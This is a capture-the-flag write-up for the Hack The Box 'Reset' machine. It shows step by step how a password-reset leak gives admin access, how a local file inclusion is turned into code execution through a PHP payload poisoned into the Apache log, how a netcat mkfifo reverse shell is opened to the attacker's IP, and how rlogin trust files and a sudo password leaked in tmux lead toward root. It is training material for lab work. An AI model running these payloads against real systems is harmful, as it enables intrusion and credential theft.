HTB Reset CTF Writeup
A broken password reset endpoint returns the newly generated password in its JSON response, granting admin access. An LFI in the log viewer is turned into a shell via log poisoning. Legacy rsh/rlogin services misconfigured with .rhosts and hosts.equiv allow passwordless lateral movement to sadm, whose leaked sudo password and GTFOBins nano escape lead to root.
HTB Reset CTF
Web Service Enumeration
A major flaw was discovered in the web application on the reset password functionality:
The attacker can request the password reset for any user in the system and the back-end server would respond to the request with the new password that’s been set for the user that was requested.
With this technique, the attacker could request a password reset for the “admin” user and obtain administrative access on the website.
The request looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /reset_password.php HTTP/1.1
Host: 10.129.234.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 14
Origin: http://10.129.234.130
Connection: keep-alive
Referer: http://10.129.234.130/
Cookie: PHPSESSID=rn55f0kr6n2ksn4taeh81lepck
Priority: u=0
username=admin
In the response, we see the password returned in a json object:
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2025 00:38:45 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 80
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"username":"admin","new_password":"2ecff48e","timestamp":"2025-09-26 00:38:45"}
The password can be used to log in and access the restricted dashboard.php page:
Local File Inclusion
The dashboard allows for the user to check logs in the system. Reviewing the request when requesting a log, it’s clear that we pass the absolute path to the file we want to read directly to the back-end via the “file” POST data in the request.
I first tried enumerating the filesystem using a fuzzing technique, but it returned me nothing:
1
ffuf -b PHPSESSID=rn55f0kr6n2ksn4taeh81lepck -u http://10.129.234.130/dashboard.php -d file=FUZZ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
When analyzing the request, it looks like the parameter value needs to be url encoded in order to work. I tried using wfuzz with the urlencode encoder, but for some reason it ignores my “/” character (which is exactly the thing that needs to be encoded) and I’m too tired to go and patch the plugin code myself. This is the command I tried:
1
wfuzz -z file,/usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --zE urlencode -u http://10.129.234.130/dashboard.php -d file=FUZZ -b PHPSESSID=rn55f0kr6n2ksn4taeh81lepck
I could craft a request to access the access logs for apache2:
Since it’s a php application (we can see it because of the .php extension of dashboard.php), and we have read access to the apache2 logs, we can perform a log poisoning attack.
It’s just a matter of putting malicious PHP code in our request that will show up in the server access logs. When viewing the access logs, the malicious php code will get interpreted and run. This will eventually lead to a remote shell on the machine.
First, I crafted a request containing a malicious php code in my user-agent header:
1
2
3
4
5
6
7
8
GET /dashboard.php HTTP/1.1
Host: 10.129.234.130
User-Agent: <?php system('whoami'); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
<SNIP>
Then I accessed the access.log again and could see the result of my payload:
I used a simple netcat mkfifo shell from revshells.com to get a reverse shell going on my machine. Payload:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.224 1234 >/tmp/f
Horizontal Privilege Escalation
When enumerating the home folder, found two other valid users in the system (sadm, local). I can read sadm’s home folder:
1
2
3
4
5
6
7
8
9
10
11
12
$ ls -la /home/sadm
total 36
drwxr-xr-x 4 sadm sadm 4096 Jun 4 14:57 .
drwxr-xr-x 4 root root 4096 Jun 2 11:34 ..
lrwxrwxrwx 1 sadm sadm 9 Dec 6 2024 .bash_history -> /dev/null
-rw-r--r-- 1 sadm sadm 220 Dec 6 2024 .bash_logout
-rw-r--r-- 1 sadm sadm 3771 Dec 6 2024 .bashrc
drwx------ 2 sadm sadm 4096 Jun 2 11:34 .cache
drwxrwxr-x 3 sadm sadm 4096 Jun 2 11:34 .local
-rw-r--r-- 1 sadm sadm 807 Dec 6 2024 .profile
-rw------- 1 sadm sadm 7 Dec 6 2024 .rhosts
-rw-r--r-- 1 root root 33 Apr 10 09:45 user.txt
It includes a file named “.rhosts”. Nothing too interesting there, but I took note of the .rhosts file.
I searched for SUID binaries and found some unusual entries:
1
2
3
4
5
6
7
8
9
$ find / -perm -4000 -type f 2>/dev/null
<SNIP>
/usr/bin/netkit-rcp
/usr/bin/netkit-rlogin
/usr/bin/netkit-rsh
<SNIP>
When googling for this, I found some interesting resources. More specifically, a github repo that talks about the .rhosts file and the /etc/hosts.equiv file that I have never encountered before:
The github repo: https://github.com/ivanversluis/pentest-hacktricks/blob/master/pentesting/pentesting-rsh.md
The file in /etc/ actually exists:
1
2
3
4
5
6
$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r
# command access to your system .
- root
- local
+ sadm
And the ports are open:
1
2
3
4
5
6
7
8
9
$ ss -tulpn
<SNIP>
tcp LISTEN 0 128 0.0.0.0:512 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:513 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:514 0.0.0.0:*
<SNIP>
I tried using the binaries in the system to log in, but it was asking me for a password despite the contents in /etc/hosts.equiv (where it indicates that “sadm” can log in without one).
I had to create a new user in my attacking machine named after the user (sadm) to be able to log in:
1
2
3
4
5
6
7
8
$ sudo useradd sadm
$ sudo passwd sadm
New password: sadm
Retype new password: sadm
$ su sadm
Password: sadm
Then log in to the machine using rlogin:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ rlogin 10.129.234.130
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Sep 26 11:06:01 AM UTC 2025
System load: 0.03
Usage of /: 65.6% of 5.22GB
Memory usage: 20%
Swap usage: 0%
Processes: 233
Users logged in: 1
IPv4 address for eth0: 10.129.234.130
IPv6 address for eth0: dead:beef::250:56ff:feb0:b60a
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 9 13:32:23 UTC 2025 from 10.10.14.77 on pts/0
sadm@reset:~$
Vertical Privilege Escalation
When looking for files/directories owned by “sadm”, I found tmux and session-related files:
1
2
3
4
5
6
7
8
9
10
$ find / -user sadm 2>/dev/null
<SNIP>
/dev/pts/1
/dev/pts/3
/tmp/tmux-1001
/tmp/tmux-1001/default
<SNIP>
There is indeed one tmux session open:
1
2
$ tmux ls
sadm_session: 1 windows (created Fri Sep 26 00:18:17 2025)
Same info can be seen with the “w” command:
1
2
3
4
5
$ w
11:15:49 up 10:57, 2 users, load average: 0.05, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
sadm pts/3 tmux(1222).%0 00:18 10:57m 0.03s 0.03s -bash
sadm pts/1 10.10.14.224 11:06 0.00s 0.08s 0.01s w
Inside the tmux session, we see that sadm was trying to echo a password into /etc/firewall.sh using nano with sudo privileges.
1
2
3
4
echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
sadm@reset:~$ echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh
Too many errors from stdin
sadm@reset:~$
Using that password, we can log in to the machine via SSH as “sadm”. We can also check sadm’s sudo -l privileges:
1
2
3
4
5
6
7
8
9
10
$ sudo -l
[sudo] password for sadm:
Matching Defaults entries for sadm on reset:
env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog
User sadm may run the following commands on reset:
(ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
(ALL) PASSWD: /usr/bin/tail /var/log/syslog
(ALL) PASSWD: /usr/bin/tail /var/log/auth.log
sadm@reset:~$
Using a common technique from GTFobins, I could escape nano and get a shell:
More specifically, with this technique:







